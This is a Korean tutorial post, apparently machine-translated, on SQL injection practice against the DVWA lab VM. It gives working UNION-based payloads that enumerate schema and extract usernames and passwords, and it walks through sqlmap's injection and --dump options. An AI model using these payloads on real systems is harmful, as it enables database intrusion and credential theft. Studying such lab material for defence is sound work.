기술나눔

[테스트 개발]--보안 침투 테스트

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. 보안 침투

1.1 분류

  • 웹 데이터베이스 보안
  • 웹 애플리케이션 서버 보안(파일 업로드 취약점, 파일 포함 취약점)
  • 웹 클라이언트 보안(XSS 교차 사이트 공격)

2. SQL 주입

2.1 SQL 인젝션 소개

  • SQL 주입이 보안 문제 목록에서 1위를 차지했습니다.
  • SQL 인젝션 공격은 입력 매개변수를 필터링하지 않고 직접 SQL 문에 엮어 분석하는 공격이다.
  • SQL 인젝션은 입력 매개변수에 SQL 코드를 추가해 서버에 전달해 구문 분석 및 실행하는 공격 기법이다.

2.2 SQL 주입 원리

  • 공격자가 페이지에 악의적인 문자를 제출합니다.
  • 서버가 제출된 매개변수를 필터링하지 않거나 필터링이 충분하지 않습니다.
  • 공격자는 splicing SQL 문을 사용하여 데이터베이스에서 민감한 정보를 얻습니다.

2.3 SQL 인젝션의 위험성

  • 데이터베이스 유출
  • 사용자 데이터가 불법적으로 구매 및 판매되었습니다.
  • 웹 애플리케이션 보안 침해

2.4 SQL 인젝션 구현 방법

  • 수동
    • 찾기: 주입 지점
    • 입력: 주입을 위한 SQL 공통 주입 조합 구문
  • 자동 (도구)
    • 도구: 주입 지점 검색
    • 입력: 다양한 구문 조합을 자동으로 시도합니다.

3.환경설정

3.1 VM웨어 가상 머신

3.1.1 기능

  • 가상 머신 소프트웨어 - 소프트웨어를 사용하여 물리적 머신에 여러 가상 운영 체제(Linux, Windows)를 설치할 수 있습니다.
  • VMware 소프트웨어로 실행되는 대상 드론 및 침투제
    VMware 다운로드 튜토리얼

3.2 타겟 드론(프로젝트 환경 사용법 학습)

효과

  • Linux 가상 머신 시스템. 알려진 취약점이 있는 일부 웹 애플리케이션이 학습을 용이하게 하기 위해 이 가상 머신에 설치됩니다.
  • OWASP 타겟 드론 설치 튜토리얼

3.3 침투머신(SQL 인젝션 환경 공격 학습)

효과:

  • Kali에는 침투 테스트, 보안 연구 등 다양한 정보 보안 작업에 사용할 수 있는 수백 가지 도구가 포함되어 있습니다.

4. 수동 주입

4.1 환경 준비

설명: 드론 웹 애플리케이션을 통해 수동 주입 실습
단계:

  • 대상 드론 OWASP 시작
    여기에 이미지 설명을 삽입하세요.

  • 브라우저를 통해 드론에 접속하세요

  • OWASP-dvwa 프로젝트 방문
    여기에 이미지 설명을 삽입하세요.

  • 로그인
    여기에 이미지 설명을 삽입하세요.

  • SQL 주입 애플리케이션 선택
    여기에 이미지 설명을 삽입하세요.

4.2 주입점 찾기

참고: 주로 작은따옴표와 이스케이프 문자를 사용하세요. 주로 작은따옴표를 사용하세요.
원칙:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

여기에 이미지 설명을 삽입하세요.

여기에 이미지 설명을 삽입하세요.

4.3 논리합

여기에 이미지 설명을 삽입하세요.

4.4 열 개수 추측하기

  1. 노동조합으로
' union select 1,2 #
  • 1

여기에 이미지 설명을 삽입하세요.
2. 논리적 OR 기준

'or 1=1#
  • 1

여기에 이미지 설명을 삽입하세요.

4.5 데이터베이스, 테이블, 열 가져오기

데이터베이스 이름 가져오기

' union select 1,database()#
  • 1

여기에 이미지 설명을 삽입하세요.
테이블 가져오기

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

여기에 이미지 설명을 삽입하세요.

열 가져오기

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

여기에 이미지 설명을 삽입하세요.

4.6 데이터 가져오기

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

여기에 이미지 설명을 삽입하세요.

4.7 연결 기능

기능: 여러 문자열을 하나의 문자열로 연결
구문: concat(str1,str2,…)
예:

  • 사용자 테이블에서 user_id, 사용자, 비밀번호를 가져와 두 개의 열에 표시합니다.
select user_id,concat (user,password) from dvwa,users;
  • 1

여기에 이미지 설명을 삽입하세요.

  • 사용자와 비밀번호를 함께 연결하는 문제 해결
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

여기에 이미지 설명을 삽입하세요.

  • 여러 필드 가져오기
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

여기에 이미지 설명을 삽입하세요.

5. 자동 주입

5.1 자동 주입 소개

참고: 자동 주입은 SQL 주입 작업을 완료하기 위해 수동 작업 대신 도구를 사용하는 것을 의미합니다.
도구: sqlmap

5.2 환경 자동 주입

  • 드론을 시작하세요
  • 침투 기계를 시작

5.3 SQL맵

도구: sqlmap

  • 오픈소스 침투 테스트 도구
  • SQL 주입 취약점을 자동으로 탐지 및 악용하고 데이터베이스 서버를 장악합니다.
    짓다:

5.3.1 sqlmap의 기본 사용법

매개변수

  • -u: 대상 URL 검사
  • –batch: 프롬프트 정보를 자동으로 처리합니다.
  • –cookie: 추가 쿠키 매개변수

단계

  • 스캔 주입 지점
  • 데이터베이스 이름 가져오기
  • 테이블 이름 가져오기
  • 필드 이름 가져오기
  • 데이터 검색

로그인이 필요하므로 먼저 로그인된 페이지의 쿠키를 가져옵니다.
여기에 이미지 설명을 삽입하세요.
그런 다음 주입 지점 스캔을 시작하십시오.
여기에 이미지 설명을 삽입하세요.
주입 성공
여기에 이미지 설명을 삽입하세요.

5.3.2 sqlmap은 라이브러리 이름을 가져옵니다.

– current-db : 현재 웹에서 사용하는 데이터베이스 이름을 조회합니다.
-D: 지정된 데이터베이스를 적용합니다.
여기에 이미지 설명을 삽입하세요.
작업 결과:
여기에 이미지 설명을 삽입하세요.

5.3.3 sqlmap이 테이블을 가져옴

– current-db: 지정된 라이브러리 아래의 모든 테이블 이름을 쿼리합니다(라이브러리 이름을 먼저 지정하려면 -D를 사용해야 함).
-T: 테이블 지정
여기에 이미지 설명을 삽입하세요.

작업 결과:
여기에 이미지 설명을 삽입하세요.

5.3.4 sqlmap은 열을 가져옵니다.

– columns: 지정된 테이블 아래의 모든 필드를 쿼리합니다(테이블 이름을 먼저 지정하려면 -T를 사용해야 함).
-C: 필드 이름 지정

여기에 이미지 설명을 삽입하세요.
작업 결과:
여기에 이미지 설명을 삽입하세요.

5.3.5 sqlmap에서 데이터 가져오기

–dump: 데이터 다운로드

여기에 이미지 설명을 삽입하세요.
작업 결과:
여기에 이미지 설명을 삽입하세요.